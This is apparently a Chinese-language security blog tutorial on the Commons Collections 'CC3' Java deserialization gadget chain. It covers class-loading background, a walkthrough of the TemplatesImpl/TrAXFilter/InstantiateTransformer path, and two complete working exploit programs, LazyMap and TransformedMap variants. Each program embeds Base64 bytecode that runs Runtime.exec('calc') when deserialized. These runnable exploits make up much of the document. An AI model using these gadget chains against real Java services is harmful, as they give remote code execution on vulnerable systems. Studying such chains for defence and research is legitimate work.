0%

java_cc链3

java_cc链3

cc3链和cc1想法还是很相似的,然后构造恶意类和调用使用了不同的两个新类,这里感觉cc3链有一些像cc1链的变种,就像是给你一些绕过的操作,有点像cc1和cc2的结合体,但是去掉了cc2的一些东西(因为cc的版本不一致)。

环境

  • apache commons collection-3.0
  • < jdk8u71

调用栈

1
2
3
4
5
6
7
8
9
10
->AnnotationInvocationHandler.readObject()
->mapProxy.entrySet().iterator() //动态代理类
->AnnotationInvocationHandler.invoke()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InstantiateTransformer.transform()
->TrAXFilter.TrAXFilter()
->TemplatesImpl.newTransformer()
->…………

前置知识

动态类加载

先创建一个测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
public class test {
static {
System.out.println(1);
}

public test(){
System.out.println(2);
}

public void aaa(){
System.out.println(3);
}
}

里面只有一个静态代码块,然后使用两种方法的动态类加载来使用他。

  • 第一种方法
1
2
3
4
5
6
7
8
9
10
package main.java.cc3;

public class test2 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
String url = "main.java.cc3.test";
Class<?> className = Class.forName(url); //输出1
test test1 = (test) className.newInstance(); //输出2
test1.aaa(); //输出3
}
}

img

  • 第二种方法
1
2
3
4
5
6
7
8
9
10
11
package main.java.cc3;

public class test2 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
String url2 = "main.java.cc3.test";
ClassLoader loader = ClassLoader.getSystemClassLoader();
Class<?> clazz = loader.loadClass(url2); //输出空
test test2 = (test) clazz.newInstance(); //输出1和2
test2.aaa(); //输出3
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
疑惑1:第二种方法,loadClass已经触发类,为什么没有输出1,而是等到newInstance的时候两个一起输出,这个和第一种有什么区别吗。

这里我们就要讲一下他们的区别了。

Class.forName() 除了会加载类外,还会初始化该类(执行静态代码块等)

ClassLoader.loadClass() 仅执行加载操作,不会初始化类

疑惑2:第二种方法中newInstance后,为什么一次性会输出两个

newInstance是通过调用类的默认公有构造方法来实例化对象,所以他是调用了构造方法,同时也进行了初始化的操作,所以他是会触发构造方法和静态方法块的。

注:如果没有loadClass他是不会触发静态方法块的

getDeclaredConstructor与getConstructor的区别

  1. getDeclaredConstructor 方法:
    • 可以获取指定类中声明的所有构造方法,包括公共的、受保护的、默认的和私有的构造方法。
    • 不考虑构造方法的访问修饰符,因此可以获取到所有类型的构造方法。
    • 如果指定的构造方法不存在或不可访问(例如私有构造方法),则会抛出 NoSuchMethodException 异常。
  2. getConstructor 方法:
    • 只能获取指定类中的公共(public)构造方法。
    • 只能获取到公共的构造方法,无法获取到受保护的、默认的和私有的构造方法。
    • 如果指定的公共构造方法不存在或不可访问,则会抛出 NoSuchMethodException 异常。

链子分析

newTransformer方法

这里我们是使用ClassLoader来加载类,使用方法上面介绍了,这里我先讲解另一个知识点

    当 ClassLoader 加载一个类时,如果这个类之前没有被加载过,它会调用自身的 defineClass() 方法来将类的字节码转换为 Class 对象

    所以也就是说,当调用 loadClass() 方法时,如果该类之前没有被加载,那么底层会调用 defineClass() 方法。
    这里找到这个defineClass方法,然后右键查看用法
1
2
3
4
5
protected final Class<?> defineClass(byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(null, b, off, len, null);
}

这里我们找Templateslmp类下面的definClass,F4就可以到这个方法的源码地址,然后我们继续右键查看用法

img

这个方法调用了他,我们跟进去看看,这里是干了什么。

这里他是解析字节码数据,然后赋值一个class对象,然后在看看defineTransletClasses发现是一个私有,在继续查看方法

这里发现getTransletlndex方法是共有的,但是下面这个私有的会有更多利用

img

但是这里我们发现这个方法不仅触发了defineTransletClasses,而且还是使用newInstance方法,要知道我们使用的是ClassLoader类,所以就是使用loadClass方法,所以是需要newInstance帮我实例化对象,才能触发静态代码块,继续使用查看方法。

我们发现虽然这个只有一个方法,但是说他是public,甚至说他接口了Serializable,正好对上了是吧

img

第二阶段-分析newTransformer构造链

img

img

这里我们继续看到 newTransformer方法,这里看到他是触发了一个构造方法,里面就会触发getTransletInstance方法,而且这里看到默认值都是null,这里看到getTransletInstance方法

img

这里我们看到,我们不能让_name为null,必须让_class为null,因为我们要触发defineTransletClasses方法,继续跟进

img

可以看到,_bytecodes的值也不能为null

img

这里我们看到defineTransletClasses方法,他这里就是让我们传入一个byte字节码数据,然后他这里是返回一个class对象,然后defineTransletClasses方法走,就会在getTransletInstance方法中,触发newInstance方法,就可以实例化class对象,然后就可以触发对象中的静态代码块。

继续跟进看看_bytecodes和defineClass方法

_bytecodes是一个二维数组,传进defineClass的是一个一维数组的byte数组

尝试编写exp

我们可以先写一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package main.java.cc3;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import javax.xml.crypto.dsig.Transform;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;


public class test2 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, IOException {
Transformer[] transformers = new Transformer[]{

};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map useless = new HashMap();
useless.put("value","ycxlo");
Map lazymap = TransformedMap.decorate(useless,null,chainedTransformer);
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = a.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,lazymap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(invocationHandler);
oos.close();
ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
Object ob = (Object) ois.readObject();
}
}

由cc2链的知识,当我们调用AnnotationInvocationHandler的readObject方法时,会调用setValue方法,进而触发TransformMap的set方法,最后调用chainedTransform的transform方法

根据调用栈,我们去看看ConstantTransformer的transform方法

img

返回一个Object类,并且这个类是我们可控的

img

那么我们可以将这个属性赋值为TrAXFilter,继续调用InstantiateTransformer的transform方法,我们看看

img

实例化我们传入的类,这个input就是我们传入的TrAXFilter类,再对TrAXFilter进行实例化,并将iArgs作为参数传入,这个iArgs我们是可以控制的

img

看看TrAXFilter的构造方法

img

调用templates.newTransformer(),那我们可以将iArgs赋值为TransformerImpl类,调用TransformerImpl类的newTransformer()方法

img

后面的就和cc2链是一样的思路了

接壤cc1链

LazyMap(动态代理)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
package main.java.cc3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import org.apache.commons.collections.functors.InstantiateTransformer;

import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;


public class cc3_LazyMap {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, IOException, TransformerConfigurationException, Base64DecodingException {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
try{
//字节码
byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");

//反射设置 Field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

//Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//LazyMap实例
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

//反射获取AnnotationInvocationHandler实例
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

//动态代理类,为了触发 AnnotationInvocationHandler#invoke
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);


//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler1);
oos.flush();
oos.close();

//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();

} catch (Exception e) {
e.printStackTrace();
}

}


//反射设置 Field
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
}

TransformedMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package main.java.cc3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import org.apache.commons.collections.functors.InstantiateTransformer;

import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;


public class cc3_TransfromedMap {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, IOException, TransformerConfigurationException, Base64DecodingException {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
try {
byte[] bytes = Base64.decode("yv66vgAAADQAMgoAAgADBwAEDAAFAAYBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEABGNhbGMKAAgAEAwAEQASAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcAFAEAE2phdmEvbGFuZy9FeGNlcHRpb24KABMAFgwAFwAGAQAPcHJpbnRTdGFja1RyYWNlBwAZAQAfbWFpbi9qYXZhL2NjMi9UZXN0VGVtcGxhdGVzSW1wbAEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAEdGhpcwEAIUxtYWluL2phdmEvY2MyL1Rlc3RUZW1wbGF0ZXNJbXBsOwEADVN0YWNrTWFwVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEAIQAYAAIAAAAAAAMAAQAFAAYAAQAaAAAAfAACAAIAAAAWKrcAAbgABxINtgAPV6cACEwrtgAVsQABAAQADQAQABMAAwAbAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASABwAAAAWAAIAEQAEAB0AHgABAAAAFgAfACAAAAAhAAAAEAAC/wAQAAEHABgAAQcAEwQAAQAiACMAAgAaAAAAPwAAAAMAAAABsQAAAAIAGwAAAAYAAQAAABYAHAAAACAAAwAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAmACcAAgAoAAAABAABACkAAQAiACsAAgAaAAAASQAAAAQAAAABsQAAAAIAGwAAAAYAAQAAABoAHAAAACoABAAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAsAC0AAgAAAAEALgAvAAMAKAAAAAQAAQApAAEAMAAAAAIAMQ==");

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map useless = new HashMap();
useless.put("value", "ycxlo");
Map transformedmap = TransformedMap.decorate(useless, null, chainedTransformer);
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = a.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, transformedmap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(invocationHandler);
oos.close();
ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
Object ob = (Object) ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
}